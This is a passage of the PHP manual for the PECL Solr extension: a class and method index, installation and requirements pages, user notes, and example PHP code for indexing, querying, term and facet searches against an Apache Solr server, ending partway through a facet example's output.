    • SolrDocument::clear — Drops all the fields in the document
    • SolrDocument::__clone — Creates a copy of a SolrDocument object
    • SolrDocument::__construct — Constructor
    • SolrDocument::current — Retrieves the current field
    • SolrDocument::deleteField — Removes a field from the document
    • SolrDocument::__destruct — Destructor
    • SolrDocument::fieldExists — Checks if a field exists in the document
    • SolrDocument::__get — Acess the field as a property
    • SolrDocument::getField — Retrieves a field by name
    • SolrDocument::getFieldCount — Returns the number of fields in this document
    • SolrDocument::getFieldNames — Returns an array of fields names in the document
    • SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object
    • SolrDocument::__isset — Checks if a field exists
    • SolrDocument::key — Retrieves the current key
    • SolrDocument::merge — Merges source to the current SolrDocument
    • SolrDocument::next — Moves the internal pointer to the next field
    • SolrDocument::offsetExists — Checks if a particular field exists
    • SolrDocument::offsetGet — Retrieves a field
    • SolrDocument::offsetSet — Adds a field to the document
    • SolrDocument::offsetUnset — Removes a field
    • SolrDocument::reset — This is an alias to SolrDocument::clear()
    • SolrDocument::rewind — Resets the internal pointer to the beginning
    • SolrDocument::serialize — Used for custom serialization
    • SolrDocument::__set — Adds another field to the document
    • SolrDocument::sort — Sorts the fields in the document
    • SolrDocument::toArray — Returns an array representation of the document
    • SolrDocument::unserialize — Custom serialization of SolrDocument objects
    • SolrDocument::__unset — Removes a field from the document
    • SolrDocument::valid — Checks if the current position internally is still valid
  • SolrDocumentField — The SolrDocumentField class
    • SolrDocumentField::__construct — Constructor
    • SolrDocumentField::__destruct — Destructor
  • SolrObject — The SolrObject class
    • SolrObject::__construct — Creates Solr object
    • SolrObject::__destruct — Destructor
    • SolrObject::getPropertyNames — Returns an array of all the names of the properties
    • SolrObject::offsetExists — Checks if the property exists
    • SolrObject::offsetGet — Used to retrieve a property
    • SolrObject::offsetSet — Sets the value for a property
    • SolrObject::offsetUnset — Sets the value for the property
  • SolrClient — The SolrClient class
    • SolrClient::addDocument — Adds a document to the index
    • SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index
    • SolrClient::commit — Finalizes all add/deletes made to the index
    • SolrClient::__construct — Constructor for the SolrClient object
    • SolrClient::deleteById — Delete by Id
    • SolrClient::deleteByIds — Deletes by Ids
    • SolrClient::deleteByQueries — Removes all documents matching any of the queries
    • SolrClient::deleteByQuery — Deletes all documents matching the given query
    • SolrClient::__destruct — Destructor for SolrClient
    • SolrClient::getDebug — Returns the debug data for the last connection attempt
    • SolrClient::getOptions — Returns the client options set internally
    • SolrClient::optimize — Defragments the index
    • SolrClient::ping — Checks if Solr server is still up
    • SolrClient::query — Sends a query to the server
    • SolrClient::request — Sends a raw update request
    • SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit
    • SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr
    • SolrClient::setServlet — Changes the specified servlet type to a new value
    • SolrClient::threads — Checks the threads status
  • SolrResponse — The SolrResponse class
    • SolrResponse::getDigestedResponse — Returns the XML response as serialized PHP data
    • SolrResponse::getHttpStatus — Returns the HTTP status of the response
    • SolrResponse::getHttpStatusMessage — Returns more details on the HTTP status
    • SolrResponse::getRawRequest — Returns the raw request sent to the Solr server
    • SolrResponse::getRawRequestHeaders — Returns the raw request headers sent to the Solr server
    • SolrResponse::getRawResponse — Returns the raw response from the server
    • SolrResponse::getRawResponseHeaders — Returns the raw response headers from the server
    • SolrResponse::getRequestUrl — Returns the full URL the request was sent to
    • SolrResponse::getResponse — Returns a SolrObject representing the XML response from the server
    • SolrResponse::setParseMode — Sets the parse mode
    • SolrResponse::success — Was the request a success
  • SolrQueryResponse — The SolrQueryResponse class
    • SolrQueryResponse::__construct — Constructor
    • SolrQueryResponse::__destruct — Destructor
  • SolrUpdateResponse — The SolrUpdateResponse class
    • SolrUpdateResponse::__construct — Constructor
    • SolrUpdateResponse::__destruct — Destructor
  • SolrPingResponse — The SolrPingResponse class
    • SolrPingResponse::__construct — Constructor
    • SolrPingResponse::__destruct — Destructor
    • SolrPingResponse::getResponse — Returns the response from the server
  • SolrGenericResponse — The SolrGenericResponse class
    • SolrGenericResponse::__construct — Constructor
    • SolrGenericResponse::__destruct — Destructor
  • SolrParams — The SolrParams class
    • SolrParams::add — This is an alias for SolrParams::addParam
    • SolrParams::addParam — Adds a parameter to the object
    • SolrParams::get — This is an alias for SolrParams::getParam
    • SolrParams::getParam — Returns a parameter value
    • SolrParams::getParams — Returns an array of non URL-encoded parameters
    • SolrParams::getPreparedParams — Returns an array of URL-encoded parameters
    • SolrParams::serialize — Used for custom serialization
    • SolrParams::set — An alias of SolrParams::setParam
    • SolrParams::setParam — Sets the parameter to the specified value
    • SolrParams::toString — Returns all the name-value pair parameters in the object
    • SolrParams::unserialize — Used for custom serialization
  • SolrModifiableParams — The SolrModifiableParams class
    • SolrModifiableParams::__construct — Constructor
    • SolrModifiableParams::__destruct — Destructor
  • SolrQuery — The SolrQuery class
    • SolrQuery::addFacetDateField — Maps to facet.date
    • SolrQuery::addFacetDateOther — Adds another facet.date.other parameter
    • SolrQuery::addFacetField — Adds another field to the facet
    • SolrQuery::addFacetQuery — Adds a facet query
    • SolrQuery::addField — Specifies which fields to return in the result
    • SolrQuery::addFilterQuery — Specifies a filter query
    • SolrQuery::addHighlightField — Maps to hl.fl
    • SolrQuery::addMltField — Sets a field to use for similarity
    • SolrQuery::addMltQueryField — Maps to mlt.qf
    • SolrQuery::addSortField — Used to control how the results should be sorted
    • SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet
    • SolrQuery::addStatsField — Maps to stats.field parameter
    • SolrQuery::__construct — Constructor
    • SolrQuery::__destruct — Destructor
    • SolrQuery::getFacet — Returns the value of the facet parameter
    • SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter
    • SolrQuery::getFacetDateFields — Returns all the facet.date fields
    • SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter
    • SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter
    • SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter
    • SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field
    • SolrQuery::getFacetFields — Returns all the facet fields
    • SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields
    • SolrQuery::getFacetMethod — Returns the value of the facet.method parameter
    • SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response
    • SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter
    • SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination
    • SolrQuery::getFacetPrefix — Returns the facet prefix
    • SolrQuery::getFacetQueries — Returns all the facet queries
    • SolrQuery::getFacetSort — Returns the facet sort type
    • SolrQuery::getFields — Returns the list of fields that will be returned in the response
    • SolrQuery::getFilterQueries — Returns an array of filter queries
    • SolrQuery::getHighlight — Returns the state of the hl parameter
    • SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default
    • SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for
    • SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output
    • SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text
    • SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting
    • SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries
    • SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return
    • SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets
    • SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment
    • SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter
    • SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting
    • SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size
    • SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field
    • SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term
    • SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term
    • SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field
    • SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter
    • SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled
    • SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance
    • SolrQuery::getMltCount — Returns the number of similar documents to return for each result
    • SolrQuery::getMltFields — Returns all the fields to use for similarity
    • SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query
    • SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support
    • SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored
    • SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs
    • SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document
    • SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored
    • SolrQuery::getMltQueryFields — Returns the query fields and their boosts
    • SolrQuery::getQuery — Returns the main query
    • SolrQuery::getRows — Returns the maximum number of documents
    • SolrQuery::getSortFields — Returns all the sort fields
    • SolrQuery::getStart — Returns the offset in the complete result set
    • SolrQuery::getStats — Returns whether or not stats is enabled
    • SolrQuery::getStatsFacets — Returns all the stats facets that were set
    • SolrQuery::getStatsFields — Returns all the statistics fields
    • SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled
    • SolrQuery::getTermsField — Returns the field from which the terms are retrieved
    • SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set
    • SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set
    • SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return
    • SolrQuery::getTermsLowerBound — Returns the term to start at
    • SolrQuery::getTermsMaxCount — Returns the maximum document frequency
    • SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included
    • SolrQuery::getTermsPrefix — Returns the term prefix
    • SolrQuery::getTermsReturnRaw — Whether or not to return raw characters
    • SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted
    • SolrQuery::getTermsUpperBound — Returns the term to stop at
    • SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish
    • SolrQuery::removeFacetDateField — Removes one of the facet date fields
    • SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters
    • SolrQuery::removeFacetField — Removes one of the facet.date parameters
    • SolrQuery::removeFacetQuery — Removes one of the facet.query parameters
    • SolrQuery::removeField — Removes a field from the list of fields
    • SolrQuery::removeFilterQuery — Removes a filter query
    • SolrQuery::removeHighlightField — Removes one of the fields used for highlighting
    • SolrQuery::removeMltField — Removes one of the moreLikeThis fields
    • SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields
    • SolrQuery::removeSortField — Removes one of the sort fields
    • SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters
    • SolrQuery::removeStatsField — Removes one of the stats.field parameters
    • SolrQuery::setEchoHandler — Toggles the echoHandler parameter
    • SolrQuery::setEchoParams — Determines what kind of parameters to include in the response
    • SolrQuery::setExplainOther — Sets the explainOther common query parameter
    • SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting
    • SolrQuery::setFacetDateEnd — Maps to facet.date.end
    • SolrQuery::setFacetDateGap — Maps to facet.date.gap
    • SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend
    • SolrQuery::setFacetDateStart — Maps to facet.date.start
    • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count
    • SolrQuery::setFacetLimit — Maps to facet.limit
    • SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field
    • SolrQuery::setFacetMinCount — Maps to facet.mincount
    • SolrQuery::setFacetMissing — Maps to facet.missing
    • SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination
    • SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet
    • SolrQuery::setFacetSort — Determines the ordering of the facet field constraints
    • SolrQuery::setHighlight — Enables or disables highlighting
    • SolrQuery::setHighlightAlternateField — Specifies the backup field to use
    • SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output
    • SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text
    • SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting
    • SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms
    • SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return
    • SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets
    • SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment
    • SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze
    • SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting
    • SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size
    • SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting
    • SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term
    • SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term
    • SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field
    • SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase
    • SolrQuery::setMlt — Enables or disables moreLikeThis
    • SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance
    • SolrQuery::setMltCount — Set the number of similar documents to return for each result
    • SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included
    • SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse
    • SolrQuery::setMltMaxWordLength — Sets the maximum word length
    • SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency
    • SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs
    • SolrQuery::setMltMinWordLength — Sets the minimum word length
    • SolrQuery::setOmitHeader — Exclude the header from the returned results
    • SolrQuery::setQuery — Sets the search query
    • SolrQuery::setRows — Specifies the maximum number of rows to return in the result
    • SolrQuery::setShowDebugInfo — Flag to show debug information
    • SolrQuery::setStart — Specifies the number of rows to skip
    • SolrQuery::setStats — Enables or disables the Stats component
    • SolrQuery::setTerms — Enables or disables the TermsComponent
    • SolrQuery::setTermsField — Sets the name of the field to get the Terms from
    • SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set
    • SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set
    • SolrQuery::setTermsLimit — Sets the maximum number of terms to return
    • SolrQuery::setTermsLowerBound — Specifies the Term to start from
    • SolrQuery::setTermsMaxCount — Sets the maximum document frequency
    • SolrQuery::setTermsMinCount — Sets the minimum document frequency
    • SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix
    • SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term
    • SolrQuery::setTermsSort — Specifies how to sort the returned terms
    • SolrQuery::setTermsUpperBound — Sets the term to stop at
    • SolrQuery::setTimeAllowed — The time allowed for search to finish
  • SolrException — The SolrException class
    • SolrException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrClientException — The SolrClientException class
    • SolrClientException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrIllegalArgumentException — The SolrIllegalArgumentException class
    • SolrIllegalArgumentException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrIllegalOperationException — The SolrIllegalOperationException class
    • SolrIllegalOperationException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

mixwise at gmail dot com 18-Sep-2011 06:19
solr_get_version(): 1.0.1
solr:3.3.0

I had problems trying to pass facet queries(fq not facet.query) using this extension.

So I made a work around by extending the SolrQuery class and adding a new method for fq.
<?php
class SolrQuery2 extends SolrQuery{
    public function addFQ($facetQuery){
        $this->addParam('fq', $facetQuery);
    }
}
?>
udm_set_agent_param
Introduction
Search Engine Extensions


Introduction

The Solr extension allows you to communicate effectively with the Apache Solr server in PHP 5.

The Solr extension is an extremely fast, light-weight, feature-rich library that allows PHP developers to communicate effectively with Solr server instances.

It is compatible with both versions 1.3 and 1.4 of Apache Solr.

There are built-in tools to add documents and make updates to the solr server.

It also contains tools that allows you to build advanced queries to the server when searching for documents.

User Contributed Notes

There are no user contributed notes for this page.
Solr
Installing/Configuring
Solr


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Solr


Requirements

PHP version 5.2.11 or later is required.

The libxml and curl extensions must also be enabled for the Apache Solr extension to be available.

libxml2 2.6.31 or later is required.

libcurl 7.18.0 or later is also required.

The above library versions are required and attempting to hack the code to make it compile is strongly discouraged. It will fail, possibly with errors that could be hard to debug

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/solr.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note:

The solr module can be compiled in debug mode by passing the --enable-solr-debug flag to configure

When building manually, be sure to include curl and libxml support within the build.

User Contributed Notes

regan 10-Dec-2009 03:19
If you want to add the Solr extension to your exisiting PHP install, you need to make sure you use the same API to build the extension as was used to build PHP or you'll get errors like:

PHP Warning:  PHP Startup: solr: Unable to initialize module\nModule compiled with module API=20060613\nPHP    compiled with module API=20090626\nThese options need to match\n in Unknown on line 0

To avoid this, use your existing phpize and php-config when compiling the extension (change the '/usr/local/php5/' below to whatever your existing path is.)

/usr/local/php5/bin/phpize
./configure --with-php-config=/usr/local/php5/bin/php-config
make
make test
make install
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SOLR_MAJOR_VERSION (integer)
SOLR_MINOR_VERSION (integer)
SOLR_PATCH_VERSION (integer)
SOLR_EXTENSION_VERSION (string)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Solr Functions
Solr


Solr Functions

Table of Contents

  • solr_get_version — Returns the current version of the Apache Solr extension

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
solr_get_version
Solr


Returns the current version of the Apache Solr extension

Solr Functions
Examples
Solr Functions
PHP Manual

solr_get_version

(PECL solr >= 0.9.1)

solr_get_version — Returns the current version of the Apache Solr extension

Description

string solr_get_version ( void )

This function returns the current version of the extension as a string.

Parameters

This function has no parameters.

Return Values

It returns a string on success and FALSE on failure.

Errors/Exceptions

This function throws no errors or exceptions.

Examples

Example #1 solr_get_version() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

$solr_version = solr_get_version();

print $solr_version;

?>

The above example will output something similar to:

0.9.6

See Also

  • SolrUtils::getSolrVersion() - Returns the current version of the Solr extension

User Contributed Notes

There are no user contributed notes for this page.
Solr Functions
Examples
Solr Functions


Examples

Examples of how to use the Apache Solr extension in PHP

Example #1 Contents of the BootStrap file

<?php

/* Domain name of the Solr server */
define('SOLR_SERVER_HOSTNAME', 'solr.example.com');

/* Whether or not to run in secure mode */
define('SOLR_SECURE', true);

/* HTTP Port to connection */
define('SOLR_SERVER_PORT', ((SOLR_SECURE) ? 8443 : 8983));

/* HTTP Basic Authentication Username */
define('SOLR_SERVER_USERNAME', 'admin');

/* HTTP Basic Authentication password */
define('SOLR_SERVER_PASSWORD', 'changeit');

/* HTTP connection timeout */
/* This is maximum time in seconds allowed for the http data transfer operation. Default value is 30 seconds */
define('SOLR_SERVER_TIMEOUT', 10);

/* File name to a PEM-formatted private key + private certificate (concatenated in that order) */
define('SOLR_SSL_CERT', 'certs/combo.pem');

/* File name to a PEM-formatted private certificate only */
define('SOLR_SSL_CERT_ONLY', 'certs/solr.crt');

/* File name to a PEM-formatted private key */
define('SOLR_SSL_KEY', 'certs/solr.key');

/* Password for PEM-formatted private key file */
define('SOLR_SSL_KEYPASSWORD', 'StrongAndSecurePassword');

/* Name of file holding one or more CA certificates to verify peer with*/
define('SOLR_SSL_CAINFO', 'certs/cacert.crt');

/* Name of directory holding multiple CA certificates to verify peer with */
define('SOLR_SSL_CAPATH', 'certs/');

?>

Example #2 Adding a document to the index

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 446
        )

)

Example #3 Merging one document into another document

<?php

include "bootstrap.php";

$doc = new SolrDocument();

$second_doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat   = 'Information Technology';

$second_doc->addField('cat', 'Lucene Search');

$second_doc->merge($doc, true);

print_r($second_doc->toArray());

?>

The above example will output something similar to:

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

        )

)

Example #4 Searching for documents - SolrObject responses

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334456
                        )

                    [1] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334455
                        )

                    [2] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => software
                                    [1] => search
                                )

                            [features] => Array
                                (
                                    [0] => Advanced Full-Text Search Capabilities using Lucene
                                    [1] => Optimized for High Volume Web Traffic
                                    [2] => Standards Based Open Interfaces - XML and HTTP
                                    [3] => Comprehensive HTML Administration Interfaces
                                    [4] => Scalability - Efficient Replication to other Solr Search Servers
                                    [5] => Flexible and Adaptable with XML configuration and Schema
                                    [6] => Good unicode support: héllo (hello with an accent over the e)
                                )

                            [id] => SOLR1000
                            [timestamp] => 2009-09-04T20:38:55.906
                        )

                )

        )

)

Example #5 Searching for documents - SolrDocument responses

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$query_response->setParseMode(SolrQueryResponse::PARSE_SOLR_DOC);

$response = $query_response->getResponse();

print_r($response);

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 19740
                        )

                    [1] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25485
                        )

                    [2] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25052
                        )

                )

        )

)

Example #6 Simple TermsComponent example - basic

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

$query->setTermsField('cat');

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [electronics] => 14
                    [Lucene] => 4
                    [Software] => 4
                    [memory] => 3
                    [card] => 2
                    [connector] => 2
                    [drive] => 2
                    [graphics] => 2
                    [hard] => 2
                    [monitor] => 2
                )

        )

)

Example #7 Simple TermsComponent example - using a prefix

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* Return only terms starting with $prefix */
$prefix = 'c';

$query->setTermsField('cat')->setTermsPrefix($prefix);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                    [camera] => 1
                    [copier] => 1
                )

        )

)

Example #8 Simple TermsComponent example - specifying a minimum frequency

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* Return only terms starting with $prefix */
$prefix = 'c';

/* Return only terms with a frequency of 2 or greater */
$min_frequency = 2;

$query->setTermsField('cat')->setTermsPrefix($prefix)->setTermsMinCount($min_frequency);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 0
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                )

        )

)

Example #9 Simple Facet Example

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2);

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

The above example will output something similar to:

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
            [1] => 3
            [184] => 3
            [2] => 3
            [3200] => 3
            [400] => 3
            [500] => 3
            [ddr] => 3
            [i] => 3
            [ipod] => 3
            [memori] => 3
            [pc] => 3
            [pin] => 3
            [pod] => 3
            [sdram] => 3
            [system] => 3
            [unbuff] => 3
            [canon] => 2
            [corsair] => 2
            [drive] => 2
            [hard] => 2
            [mb] => 2
            [n] => 2
            [power] => 2
            [retail] => 2
            [video] => 2
            [x] => 2
        )

)

Example #10 Simple Facet Example - with optional field override for mincount

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

The above example will output something similar to:

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
